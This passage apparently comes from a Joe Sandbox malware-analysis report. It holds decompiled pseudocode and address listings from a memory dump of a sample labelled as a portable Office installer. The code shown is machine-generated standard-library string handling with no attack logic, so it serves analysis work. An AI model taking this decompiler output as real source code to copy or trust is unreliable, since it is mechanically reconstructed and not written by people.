								__eflags = _t104 | 0xffffffff;
								goto L24;
							} else {
								_push( *(_t104 + 0x50));
								_push(_t108);
								_t93 = E000CD86C(_t104, _t130, _t134, __eflags);
								_t121 = _t108 | 0xffffffff;
								_t141 = _t141 + 8;
								__eflags = _t93 - _t121;
								_t122 =  !=  ? _a4 : _t121;
								_t94 =  !=  ? _a4 : _t121;
							}
						} else {
						}
					} else {
						_t134 =  *((intOrPtr*)(__ecx + 0x30));
						_t130 =  *_t134;
						_t68 = _t130 + _t127;
						__eflags = _t127 - _t68;
						if(_t127 >= _t68) {
							goto L5;
						} else {
							 *_t134 = _t130 - 1;
							_t125 =  *(__ecx + 0x20);
							_t128 =  *_t125;
							 *_t125 = _t128 + 1;
							 *_t128 = _a4;
						}
					}
				} else {
				}
				L27:
				 *[fs:0x0] = _v44;
				_pop(_t132);
				_pop(_t136);
				_pop(_t106);
				return E000CC7C7(_t106, _v52 ^ _t141, _t128, _t132, _t136);
			}

0x000ca756
0x000ca758
0x000ca763
0x000ca764
0x000ca767
0x000ca76e
0x000ca773
0x000ca774
0x000ca775
0x000ca77c
0x000ca781
0x000ca787
0x000ca789
0x000ca78f
0x000ca798
0x000ca79b
0x000ca79d
0x000ca79f
0x000ca7c6
0x000ca7c6
0x000ca7ca
0x000ca7d4
0x000ca7da
0x000ca7dc
0x000ca7e4
0x000ca7e9
0x000ca7ee
0x000ca7f0
0x000ca7f2
0x000ca7f2
0x000ca7f5
0x000ca7f9
0x000ca81a
0x000ca823
0x000ca828
0x000ca82b
0x000ca835
0x000ca838
0x000ca83d
0x000ca841
0x000ca849
0x000ca84d
0x000ca860
0x000ca860
0x000ca865
0x000ca86c
0x000ca877
0x000ca880
0x000ca885
0x000ca89c
0x000ca89e
0x000ca8a1
0x000ca8a3
0x00000000
0x00000000
0x000ca8a9
0x000ca8ac
0x000ca918
0x000ca91b
0x00000000
0x000ca91d
0x000ca922
0x000ca925
0x000ca926
0x000ca92b
0x000ca92e
0x000ca931
0x000ca933
0x000ca937
0x000ca937
0x000ca8ae
0x000ca8ae
0x000ca8b2
0x000ca8ba
0x000ca8c1
0x000ca8c4
0x000ca8c4
0x000ca8c6
0x000ca8e5
0x000ca8e9
0x000ca8ed
0x000ca8f1
0x000ca8f3
0x000ca8f3
0x000ca8f5
0x00000000
0x000ca8fb
0x000ca8fb
0x000ca900
0x00000000
0x000ca902
0x000ca902
0x000ca909
0x00000000
0x000ca909
0x000ca900
0x000ca8f5
0x000ca8c8
0x000ca8c8
0x000ca8cf
0x000ca8d0
0x000ca8d3
0x000ca8d6
0x000ca8d8
0x000ca8d9
0x000ca8de
0x000ca8e1
0x000ca8e3
0x00000000
0x00000000
0x00000000
0x00000000
0x000ca8e3
0x000ca8c6
0x000ca93e
0x000ca93e
0x000ca943
0x000ca949
0x000ca94e
0x000ca94e
0x00000000
0x000ca951
0x000ca93b
0x000ca93b
0x00000000
0x000ca7fb
0x000ca7fb
0x000ca801
0x000ca802
0x000ca807
0x000ca80a
0x000ca80d
0x000ca80f
0x000ca813
0x000ca813
0x000ca7cc
0x000ca7cc
0x000ca7a1
0x000ca7a1
0x000ca7a4
0x000ca7a6
0x000ca7a9
0x000ca7ab
0x00000000
0x000ca7ad
0x000ca7b0
0x000ca7b2
0x000ca7b5
0x000ca7ba
0x000ca7bf
0x000ca7bf
0x000ca7ab
0x000ca791
0x000ca791
0x000ca953
0x000ca957
0x000ca95f
0x000ca960
0x000ca961
0x000ca970

Strings

, xrefs: 000CA8FB

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8b76d71c66c81851640365eddfd11b7e83470b1d336d7594f35e52615efa871a
Instruction ID: 1a92b45e10d317f74e5feecf5e4e332d6bd5cf0576aaa52d1a3437fd91f6ad0a
Opcode Fuzzy Hash: 8b76d71c66c81851640365eddfd11b7e83470b1d336d7594f35e52615efa871a
Instruction Fuzzy Hash: B0616B716082499FCB14CF28C881A6EB7F5FB8A718F504B6DF98597291E730E944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 000C2F10, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E000C2F10(intOrPtr* __ecx, unsigned int _a4, intOrPtr* _a8, void _a12) {
				intOrPtr _v0;
				unsigned int _v4;
				unsigned int _v8;
				char _v12;
				unsigned int _v16;
				void* _v17;
				intOrPtr _v20;
				unsigned int _v24;
				char _v32;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				unsigned int _v68;
				intOrPtr* _v88;
				unsigned int _v104;
				signed int _v120;
				char _v140;
				signed int _v144;
				intOrPtr* _v152;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr _t128;
				signed int _t131;
				signed int _t139;
				signed int _t142;
				unsigned int _t145;
				intOrPtr* _t146;
				intOrPtr _t150;
				intOrPtr _t156;
				unsigned int _t169;
				unsigned int _t171;
				unsigned int _t177;
				intOrPtr _t181;
				signed int _t188;
				signed int _t192;
				signed int _t193;
				signed int _t194;
				intOrPtr _t198;
				char* _t207;
				intOrPtr _t210;
				intOrPtr* _t211;
				char* _t217;
				intOrPtr* _t220;
				intOrPtr _t227;
				unsigned int _t237;
				intOrPtr* _t241;
				unsigned int _t242;
				unsigned int _t243;
				unsigned int _t244;
				unsigned int _t246;
				unsigned int _t247;
				void* _t249;
				unsigned int _t255;
				unsigned int _t257;
				unsigned int _t259;
				intOrPtr* _t279;
				signed int _t280;
				unsigned int _t281;
				intOrPtr* _t282;
				unsigned int _t284;
				unsigned int _t285;
				intOrPtr* _t288;
				intOrPtr _t291;
				intOrPtr _t301;
				unsigned int _t304;
				signed int _t305;
				signed int _t306;
				unsigned int _t307;
				intOrPtr* _t308;
				intOrPtr* _t309;
				intOrPtr* _t310;
				unsigned int _t314;
				unsigned int _t315;
				intOrPtr _t316;
				unsigned int _t317;
				signed int _t319;
				intOrPtr _t325;
				intOrPtr* _t350;
				intOrPtr* _t351;
				signed int _t352;
				unsigned int _t353;
				intOrPtr* _t354;
				intOrPtr* _t355;
				signed int _t387;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t424;
				signed int _t425;

				_t387 = _t424;
				_t241 = _a4;
				_t314 =  *(_t241 + 0x10);
				_t349 = __ecx;
				_t279 = _a8;
				if(_t314 < _t279) {
					E000CBF6C(__eflags, "invalid string position");
					goto L25;
				} else {
					_t314 =  <  ? _a12 : _t314 - _t279;
					if(__ecx != _t241) {
						__eflags = _t314 - 0xfffffffe;
						if(__eflags > 0) {
							goto L26;
						} else {
							_t227 =  *((intOrPtr*)(__ecx + 0x14));
							__eflags = _t227 - _t314;
							if(_t227 >= _t314) {
								__eflags = _t314;
								if(_t314 != 0) {
									goto L9;
								} else {
									 *(__ecx + 0x10) = _t314;
									__eflags = _t227 - 0x10;
									if(_t227 < 0x10) {
										 *((char*)(__ecx)) = 0;
										return __ecx;
									} else {
										 *((char*)( *__ecx)) = 0;
										return __ecx;
									}
								}
							} else {
								_push( *(__ecx + 0x10));
								_push(_t314);
								L146();
								_t279 = _a8;
								__eflags = _t314;
								if(_t314 == 0) {
									L23:
									return _t349;
								} else {
									L9:
									__eflags =  *((intOrPtr*)(_t241 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t241 + 0x14)) >= 0x10) {
										_t241 =  *_t241;
									}
									__eflags =  *((intOrPtr*)(_t349 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t349 + 0x14)) < 0x10) {
										_t310 = _t349;
									} else {
										_t310 =  *_t349;
									}
									__eflags = _t314;
									if(_t314 != 0) {
										E000CE520(_t310, _t241 + _t279, _t314);
									}
									__eflags =  *((intOrPtr*)(_t349 + 0x14)) - 0x10;
									 *(_t349 + 0x10) = _t314;
									if( *((intOrPtr*)(_t349 + 0x14)) < 0x10) {
										 *((char*)(_t349 + _t314)) = 0;
										goto L23;
									} else {
										 *((char*)( *_t349 + _t314)) = 0;
										return _t349;
									}
								}
							}
						}
					} else {
						_t237 = _t314 + _t279;
						if( *(__ecx + 0x10) < _t237) {
							L25:
							E000CBF6C(__eflags, "invalid string position");
							L26:
							_push("string too long");
							E000CBF3E(__eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t387);
							_t388 = _t424;
							_push(_t241);
							_t242 = _v24;
							_push(_t349);
							_t350 = _t279;
							__eflags = _t242;
							if(_t242 == 0) {
								L39:
								_push(_t314);
								_t315 = _a4;
								__eflags = _t315 - 0xfffffffe;
								if(__eflags > 0) {
									_push("string too long");
									E000CBF3E(__eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t388);
									_t389 = _t424;
									_t301 = _v40;
									_push(_t242);
									_push(_t350);
									_t351 = _t279;
									_t280 = _v44;
									_t128 =  *((intOrPtr*)(_t280 + 0x10));
									__eflags = _t128 - _t301;
									if(__eflags < 0) {
										E000CBF6C(__eflags, "invalid string position");
										goto L79;
									} else {
										_t259 = _a4;
										_t194 = _t128 - _t301;
										_t307 =  *(_t351 + 0x10);
										__eflags = _t194 - _t259;
										_t242 =  <  ? _t194 : _t259;
										__eflags = (_t194 | 0xffffffff) - _t307 - _t242;
										if(__eflags <= 0) {
											L79:
											_push("string too long");
											E000CBF3E(__eflags);
											goto L80;
										} else {
											__eflags = _t242;
											if(_t242 == 0) {
												L77:
												return _t351;
											} else {
												_push(_t315);
												_t315 = _t307 + _t242;
												__eflags = _t315 - 0xfffffffe;
												if(__eflags > 0) {
													L80:
													_push("string too long");
													_t131 = E000CBF3E(__eflags);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t389);
													_t390 = _t424;
													_push(_t242);
													_t243 = _v68;
													_push(_t351);
													_t352 = _t280;
													__eflags = _t243;
													if(_t243 == 0) {
														L93:
														_t302 =  *(_t352 + 0x10);
														_t281 = _v4;
														__eflags = (_t131 | 0xffffffff) - _t302 - _t281;
														if(__eflags <= 0) {
															_push("string too long");
															E000CBF3E(__eflags);
															goto L113;
														} else {
															__eflags = _t281;
															if(_t281 == 0) {
																L111:
																return _t352;
															} else {
																_push(_t315);
																_t315 = _t302 + _t281;
																__eflags = _t315 - 0xfffffffe;
																if(__eflags > 0) {
																	L113:
																	_push("string too long");
																	E000CBF3E(__eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t390);
																	_t391 = _t424;
																	_push(_t352);
																	_t353 = _t281;
																	_t282 = _v88;
																	_push(_t315);
																	_t316 =  *((intOrPtr*)(_t353 + 0x10));
																	__eflags = _t316 - _t282;
																	if(__eflags < 0) {
																		E000CBF6C(__eflags, "invalid string position");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_push(_t391);
																		_t392 = _t424;
																		_push(_t353);
																		_push(_t316);
																		_t317 = _v104;
																		_t354 = _t282;
																		__eflags = _t317 - 0xfffffffe;
																		if(__eflags > 0) {
																			_push("string too long");
																			E000CBF3E(__eflags);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_push(_t392);
																			_push(0xffffffff);
																			_push(E000E37C0);
																			_push( *[fs:0x0]);
																			_t425 = _t424 - 0xc;
																			_push(_t243);
																			_push(_t354);
																			_push(_t317);
																			_t139 =  *0xef6ac; // 0xcff43140
																			_push(_t139 ^ _t424);
																			 *[fs:0x0] =  &_v140;
																			_v144 = _t425;
																			_t355 = _t282;
																			_v152 = _t355;
																			_t142 = _v120;
																			_t319 = _t142 | 0x0000000f;
																			__eflags = _t319 - 0xfffffffe;
																			if(_t319 <= 0xfffffffe) {
																				_t243 =  *(_t355 + 0x14);
																				_t284 = _t243 >> 1;
																				_t302 = 0xaaaaaaab * _t319 >> 0x20 >> 1;
																				__eflags = _t284 - 0xaaaaaaab * _t319 >> 0x20 >> 1;
																				if(_t284 > 0xaaaaaaab * _t319 >> 0x20 >> 1) {
																					_t319 = _t284 + _t243;
																					__eflags = _t243 - 0xfffffffe - _t284;
																					if(_t243 > 0xfffffffe - _t284) {
																						_t319 = 0xfffffffe;
																					}
																				}
																			} else {
																				_t319 = _t142;
																			}
																			_t106 = _t319 + 1; // 0xffffffff
																			_t285 = _t106;
																			_t145 = 0;
																			_v32 = 0;
																			_v48 = 0;
																			__eflags = _t285;
																			if(_t285 == 0) {
																				L155:
																				_t244 = _v16;
																				__eflags = _t244;
																				if(_t244 != 0) {
																					__eflags =  *(_t355 + 0x14) - 0x10;
																					if( *(_t355 + 0x14) < 0x10) {
																						_t288 = _t355;
																					} else {
																						_t288 =  *_t355;
																					}
																					__eflags = _t244;
																					if(_t244 != 0) {
																						E000CE520(_t145, _t288, _t244);
																						_t425 = _t425 + 0xc;
																					}
																				}
																				__eflags =  *(_t355 + 0x14) - 0x10;
																				if( *(_t355 + 0x14) >= 0x10) {
																					L000CC7D6( *_t355);
																				}
																				_t146 = _v48;
																				 *_t355 = 0;
																				 *_t355 = _t146;
																				 *(_t355 + 0x14) = _t319;
																				 *(_t355 + 0x10) = _t244;
																				__eflags = _t319 - 0x10;
																				if(_t319 >= 0x10) {
																					_t355 = _t146;
																				}
																				 *((char*)(_t355 + _t244)) = 0;
																				 *[fs:0x0] = _v40;
																				return _t146;
																			} else {
																				__eflags = _t285 - 0xffffffff;
																				if(__eflags > 0) {
																					L154:
																					E000CBF0D(__eflags);
																					_t150 = _v20;
																					_v48 = _t150;
																					__eflags = _t150 + 1;
																					_v44 = _t425;
																					_v32 = 2;
																					_v20 = E000C3620(_t302, _t150 + 1);
																					return E000C3585;
																				} else {
																					_push(_t285);
																					_t145 = E000CCE6F(_t243, _t319, __eflags);
																					_t425 = _t425 + 4;
																					_v48 = 0;
																					__eflags = 0;
																					if(0 != 0) {
																						goto L155;
																					} else {
																						goto L154;
																					}
																				}
																			}
																		} else {
																			_t156 =  *((intOrPtr*)(_t354 + 0x14));
																			__eflags = _t156 - _t317;
																			if(_t156 >= _t317) {
																				__eflags = _v12;
																				if(_v12 == 0) {
																					L140:
																					__eflags = _t317;
																					if(_t317 == 0) {
																						 *(_t354 + 0x10) = _t317;
																						__eflags = _t156 - 0x10;
																						if(_t156 >= 0x10) {
																							_t354 =  *_t354;
																						}
																						 *_t354 = 0;
																					}
																					__eflags = 0 - _t317;
																					asm("sbb eax, eax");
																					return  ~0x00000000;
																				} else {
																					__eflags = _t317 - 0x10;
																					if(_t317 >= 0x10) {
																						goto L140;
																					} else {
																						_push(_t243);
																						_t246 =  *(_t354 + 0x10);
																						__eflags = _t317 - _t246;
																						_t247 =  <  ? _t317 : _t246;
																						__eflags = _t156 - 0x10;
																						if(_t156 >= 0x10) {
																							_t161 =  *_t354;
																							_v12 =  *_t354;
																							__eflags = _t247;
																							if(_t247 != 0) {
																								E000CE520(_t354, _t161, _t247);
																								_t161 = _v12;
																								_t424 = _t424 + 0xc;
																							}
																							L000CC7D6(_t161);
																						}
																						 *(_t354 + 0x10) = _t247;
																						 *((intOrPtr*)(_t354 + 0x14)) = 0xf;
																						 *((char*)(_t247 + _t354)) = 0;
																						__eflags = 0 - _t317;
																						asm("sbb eax, eax");
																						return  ~0x00000000;
																					}
																				}
																			} else {
																				_push( *(_t354 + 0x10));
																				_push(_t317);
																				L146();
																				__eflags = 0 - _t317;
																				asm("sbb eax, eax");
																				return  ~0x00000000;
																			}
																		}
																	} else {
																		_t304 = _v8;
																		__eflags = _t316 - _t282 - _t304;
																		if(_t316 - _t282 > _t304) {
																			__eflags = _t304;
																			if(_t304 == 0) {
																				L128:
																				return _t353;
																			} else {
																				__eflags =  *((intOrPtr*)(_t353 + 0x14)) - 0x10;
																				if( *((intOrPtr*)(_t353 + 0x14)) < 0x10) {
																					_t169 = _t353;
																				} else {
																					_t169 =  *_t353;
																				}
																				_t325 = _t316 - _t304;
																				_push(_t243);
																				_t249 = _t169 + _t282;
																				_t171 = _t325 - _t282;
																				__eflags = _t171;
																				if(_t171 != 0) {
																					E000CC7E0(_t249, _t249 + _t304, _t171);
																				}
																				__eflags =  *((intOrPtr*)(_t353 + 0x14)) - 0x10;
																				 *((intOrPtr*)(_t353 + 0x10)) = _t325;
																				if( *((intOrPtr*)(_t353 + 0x14)) < 0x10) {
																					 *((char*)(_t353 + _t325)) = 0;
																					goto L128;
																				} else {
																					 *((char*)( *_t353 + _t325)) = 0;
																					return _t353;
																				}
																			}
																		} else {
																			__eflags =  *((intOrPtr*)(_t353 + 0x14)) - 0x10;
																			 *((intOrPtr*)(_t353 + 0x10)) = _t282;
																			if( *((intOrPtr*)(_t353 + 0x14)) < 0x10) {
																				_t177 = _t353;
																				 *((char*)(_t177 + _t282)) = 0;
																				return _t177;
																			} else {
																				 *((char*)( *_t353 + _t282)) = 0;
																				return _t353;
																			}
																		}
																	}
																} else {
																	_t181 =  *((intOrPtr*)(_t352 + 0x14));
																	__eflags = _t181 - _t315;
																	if(_t181 >= _t315) {
																		__eflags = _t315;
																		if(_t315 != 0) {
																			goto L98;
																		} else {
																			 *(_t352 + 0x10) = _t315;
																			__eflags = _t181 - 0x10;
																			if(_t181 < 0x10) {
																				_t188 = _t352;
																				 *_t188 = 0;
																				return _t188;
																			} else {
																				 *( *_t352) = 0;
																				return _t352;
																			}
																		}
																	} else {
																		_push(_t302);
																		_push(_t315);
																		L146();
																		_t281 = _v4;
																		__eflags = _t315;
																		if(_t315 == 0) {
																			L110:
																			goto L111;
																		} else {
																			L98:
																			__eflags =  *((intOrPtr*)(_t352 + 0x14)) - 0x10;
																			if( *((intOrPtr*)(_t352 + 0x14)) < 0x10) {
																				_t305 = _t352;
																			} else {
																				_t305 =  *_t352;
																			}
																			__eflags = _t281;
																			if(_t281 != 0) {
																				__eflags =  *(_t352 + 0x10) + _t305;
																				E000CE520( *(_t352 + 0x10) + _t305, _t243, _t281);
																			}
																			__eflags =  *((intOrPtr*)(_t352 + 0x14)) - 0x10;
																			 *(_t352 + 0x10) = _t315;
																			if( *((intOrPtr*)(_t352 + 0x14)) < 0x10) {
																				 *((char*)(_t352 + _t315)) = 0;
																				goto L110;
																			} else {
																				 *((char*)( *_t352 + _t315)) = 0;
																				return _t352;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t291 =  *((intOrPtr*)(_t352 + 0x14));
														__eflags = _t291 - 0x10;
														if(_t291 < 0x10) {
															_t131 = _t352;
														} else {
															_t131 =  *_t352;
														}
														__eflags = _t243 - _t131;
														if(_t243 < _t131) {
															goto L93;
														} else {
															__eflags = _t291 - 0x10;
															if(_t291 < 0x10) {
																_t306 = _t352;
															} else {
																_t306 =  *_t352;
															}
															_t131 =  *(_t352 + 0x10) + _t306;
															__eflags = _t131 - _t243;
															if(_t131 <= _t243) {
																goto L93;
															} else {
																__eflags = _t291 - 0x10;
																if(_t291 < 0x10) {
																	_push(_v4);
																	_t192 = _t352;
																	_t255 = _t243 - _t192;
																	__eflags = _t255;
																	_push(_t255);
																	_push(_t352);
																	L56();
																	return _t192;
																} else {
																	_t193 =  *_t352;
																	_push(_v4);
																	_t257 = _t243 - _t193;
																	__eflags = _t257;
																	_push(_t257);
																	_push(_t352);
																	L56();
																	return _t193;
																}
															}
														}
													}
												} else {
													_t198 =  *((intOrPtr*)(_t351 + 0x14));
													__eflags = _t198 - _t315;
													if(_t198 >= _t315) {
														__eflags = _t315;
														if(_t315 != 0) {
															goto L62;
														} else {
															 *(_t351 + 0x10) = _t315;
															__eflags = _t198 - 0x10;
															if(_t198 < 0x10) {
																_t207 = _t351;
																 *_t207 = 0;
																return _t207;
															} else {
																 *((char*)( *_t351)) = 0;
																return _t351;
															}
														}
													} else {
														_push(_t307);
														_push(_t315);
														L146();
														_t280 = _v4;
														__eflags = _t315;
														if(_t315 == 0) {
															L76:
															goto L77;
														} else {
															L62:
															__eflags =  *((intOrPtr*)(_t280 + 0x14)) - 0x10;
															if( *((intOrPtr*)(_t280 + 0x14)) >= 0x10) {
																_t280 =  *_t280;
															}
															__eflags =  *((intOrPtr*)(_t351 + 0x14)) - 0x10;
															if( *((intOrPtr*)(_t351 + 0x14)) < 0x10) {
																_t308 = _t351;
															} else {
																_t308 =  *_t351;
															}
															__eflags = _t242;
															if(_t242 != 0) {
																__eflags =  *(_t351 + 0x10) + _t308;
																E000CE520( *(_t351 + 0x10) + _t308, _v0 + _t280, _t242);
															}
															__eflags =  *((intOrPtr*)(_t351 + 0x14)) - 0x10;
															 *(_t351 + 0x10) = _t315;
															if( *((intOrPtr*)(_t351 + 0x14)) < 0x10) {
																 *((char*)(_t351 + _t315)) = 0;
																goto L76;
															} else {
																 *((char*)( *_t351 + _t315)) = 0;
																return _t351;
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t210 =  *((intOrPtr*)(_t350 + 0x14));
									__eflags = _t210 - _t315;
									if(_t210 >= _t315) {
										__eflags = _t315;
										if(_t315 != 0) {
											goto L42;
										} else {
											 *(_t350 + 0x10) = _t315;
											__eflags = _t210 - 0x10;
											if(_t210 < 0x10) {
												_t217 = _t350;
												 *_t217 = 0;
												return _t217;
											} else {
												 *((char*)( *_t350)) = 0;
												return _t350;
											}
										}
									} else {
										_push( *(_t350 + 0x10));
										_push(_t315); // executed
										L146(); // executed
										__eflags = _t315;
										if(_t315 == 0) {
											L54:
											return _t350;
										} else {
											L42:
											__eflags =  *((intOrPtr*)(_t350 + 0x14)) - 0x10;
											if( *((intOrPtr*)(_t350 + 0x14)) < 0x10) {
												_t211 = _t350;
											} else {
												_t211 =  *_t350;
											}
											__eflags = _t315;
											if(_t315 != 0) {
												E000CE520(_t211, _t242, _t315);
											}
											__eflags =  *((intOrPtr*)(_t350 + 0x14)) - 0x10;
											 *(_t350 + 0x10) = _t315;
											if( *((intOrPtr*)(_t350 + 0x14)) < 0x10) {
												 *((char*)(_t350 + _t315)) = 0;
												goto L54;
											} else {
												 *((char*)( *_t350 + _t315)) = 0;
												return _t350;
											}
										}
									}
								}
							} else {
								_t279 =  *((intOrPtr*)(_t350 + 0x14));
								__eflags = _t279 - 0x10;
								if(_t279 < 0x10) {
									_t220 = _t350;
								} else {
									_t220 =  *_t350;
								}
								__eflags = _t242 - _t220;
								if(_t242 < _t220) {
									goto L39;
								} else {
									__eflags = _t279 - 0x10;
									if(_t279 < 0x10) {
										_t309 = _t350;
									} else {
										_t309 =  *_t350;
									}
									__eflags =  *(_t350 + 0x10) + _t309 - _t242;
									if( *(_t350 + 0x10) + _t309 <= _t242) {
										goto L39;
									} else {
										__eflags = _t279 - 0x10;
										if(_t279 < 0x10) {
											_push(_a4);
											__eflags = _t242 - _t350;
											return E000C2F10(_t350, _t350, _t242 - _t350);
										} else {
											_push(_a4);
											__eflags = _t242 -  *_t350;
											return E000C2F10(_t350, _t350, _t242 -  *_t350);
										}
									}
								}
							}
						} else {
							 *(__ecx + 0x10) = _t237;
							if( *((intOrPtr*)(__ecx + 0x14)) < 0x10) {
								_push(_t279);
								_push(0);
								 *((char*)(_t237 + __ecx)) = 0;
								L114();
								return __ecx;
							} else {
								_push(_t279);
								_push(0);
								 *((char*)(_t237 +  *__ecx)) = 0;
								L114();
								return __ecx;
							}
						}
					}
				}
			}

0x000c2f11
0x000c2f14
0x000c2f19
0x000c2f1c
0x000c2f1e
0x000c2f23
0x000c3017
0x00000000
0x000c2f29
0x000c2f2e
0x000c2f34
0x000c2f7d
0x000c2f80
0x00000000
0x000c2f86
0x000c2f86
0x000c2f89
0x000c2f8b
0x000c2fb1
0x000c2fb3
0x00000000
0x000c2fb5
0x000c2fb5
0x000c2fb8
0x000c2fbb
0x000c2fcf
0x000c2fd4
0x000c2fbd
0x000c2fc0
0x000c2fc8
0x000c2fc8
0x000c2fbb
0x000c2f8d
0x000c2f8d
0x000c2f92
0x000c2f93
0x000c2f98
0x000c2f9b
0x000c2f9d
0x000c3009
0x000c300f
0x000c2f9f
0x000c2f9f
0x000c2f9f
0x000c2fa3
0x000c2fa5
0x000c2fa5
0x000c2fa7
0x000c2fab
0x000c2fd7
0x000c2fad
0x000c2fad
0x000c2fad
0x000c2fd9
0x000c2fdb
0x000c2fe3
0x000c2fe8
0x000c2feb
0x000c2fef
0x000c2ff2
0x000c3005
0x00000000
0x000c2ff4
0x000c2ff6
0x000c3000
0x000c3000
0x000c2ff2
0x000c2f9d
0x000c2f8b
0x000c2f36
0x000c2f36
0x000c2f3c
0x000c301c
0x000c3021
0x000c3026
0x000c3026
0x000c302b
0x000c3030
0x000c3031
0x000c3032
0x000c3033
0x000c3034
0x000c3035
0x000c3036
0x000c3037
0x000c3038
0x000c3039
0x000c303a
0x000c303b
0x000c303c
0x000c303d
0x000c303e
0x000c303f
0x000c3040
0x000c3041
0x000c3043
0x000c3044
0x000c3047
0x000c3048
0x000c304a
0x000c304c
0x000c30a5
0x000c30a5
0x000c30a6
0x000c30a9
0x000c30ac
0x000c312c
0x000c3131
0x000c3136
0x000c3137
0x000c3138
0x000c3139
0x000c313a
0x000c313b
0x000c313c
0x000c313d
0x000c313e
0x000c313f
0x000c3140
0x000c3141
0x000c3143
0x000c3146
0x000c3147
0x000c3148
0x000c314a
0x000c314d
0x000c3150
0x000c3152
0x000c321d
0x00000000
0x000c3158
0x000c3158
0x000c315b
0x000c315d
0x000c3160
0x000c3162
0x000c316a
0x000c316c
0x000c3222
0x000c3222
0x000c3227
0x00000000
0x000c3172
0x000c3172
0x000c3174
0x000c3210
0x000c3215
0x000c317a
0x000c317a
0x000c317b
0x000c317e
0x000c3181
0x000c322c
0x000c322c
0x000c3231
0x000c3236
0x000c3237
0x000c3238
0x000c3239
0x000c323a
0x000c323b
0x000c323c
0x000c323d
0x000c323e
0x000c323f
0x000c3240
0x000c3241
0x000c3243
0x000c3244
0x000c3247
0x000c3248
0x000c324a
0x000c324c
0x000c32a5
0x000c32a5
0x000c32a8
0x000c32b0
0x000c32b2
0x000c3351
0x000c3356
0x00000000
0x000c32b8
0x000c32b8
0x000c32ba
0x000c3349
0x000c334e
0x000c32c0
0x000c32c0
0x000c32c1
0x000c32c4
0x000c32c7
0x000c335b
0x000c335b
0x000c3360
0x000c3365
0x000c3366
0x000c3367
0x000c3368
0x000c3369
0x000c336a
0x000c336b
0x000c336c
0x000c336d
0x000c336e
0x000c336f
0x000c3370
0x000c3371
0x000c3373
0x000c3374
0x000c3376
0x000c3379
0x000c337a
0x000c337d
0x000c337f
0x000c3404
0x000c3409
0x000c340a
0x000c340b
0x000c340c
0x000c340d
0x000c340e
0x000c340f
0x000c3410
0x000c3411
0x000c3413
0x000c3414
0x000c3415
0x000c3418
0x000c341a
0x000c341d
0x000c34b6
0x000c34bb
0x000c34c0
0x000c34c1
0x000c34c2
0x000c34c3
0x000c34c4
0x000c34c5
0x000c34c6
0x000c34c7
0x000c34c8
0x000c34c9
0x000c34ca
0x000c34cb
0x000c34cc
0x000c34cd
0x000c34ce
0x000c34cf
0x000c34d0
0x000c34d3
0x000c34d5
0x000c34e0
0x000c34e1
0x000c34e4
0x000c34e5
0x000c34e6
0x000c34e7
0x000c34ee
0x000c34f2
0x000c34f8
0x000c34fb
0x000c34fd
0x000c3500
0x000c3505
0x000c3508
0x000c350b
0x000c3511
0x000c351d
0x000c351f
0x000c3521
0x000c3523
0x000c352c
0x000c352f
0x000c3531
0x000c3533
0x000c3533
0x000c3531
0x000c350d
0x000c350d
0x000c350d
0x000c3538
0x000c3538
0x000c353b
0x000c353d
0x000c3544
0x000c3547
0x000c3549
0x000c3591
0x000c3591
0x000c3594
0x000c3596
0x000c3598
0x000c359c
0x000c35cf
0x000c359e
0x000c359e
0x000c359e
0x000c35d1
0x000c35d3
0x000c35d8
0x000c35dd
0x000c35dd
0x000c35d3
0x000c35e0
0x000c35e4
0x000c35e8
0x000c35ed
0x000c35f0
0x000c35f3
0x000c35f6
0x000c35f8
0x000c35fb
0x000c35fe
0x000c3601
0x000c3603
0x000c3603
0x000c3605
0x000c360c
0x000c361a
0x000c354b
0x000c354b
0x000c354e
0x000c3560
0x000c3560
0x000c3565
0x000c3568
0x000c356b
0x000c356c
0x000c3573
0x000c357c
0x000c3584
0x000c3550
0x000c3550
0x000c3551
0x000c3556
0x000c3559
0x000c355c
0x000c355e
0x00000000
0x00000000
0x00000000
0x00000000
0x000c355e
0x000c354e
0x000c3423
0x000c3423
0x000c3426
0x000c3428
0x000c3441
0x000c3445
0x000c3497
0x000c3497
0x000c3499
0x000c349b
0x000c349e
0x000c34a1
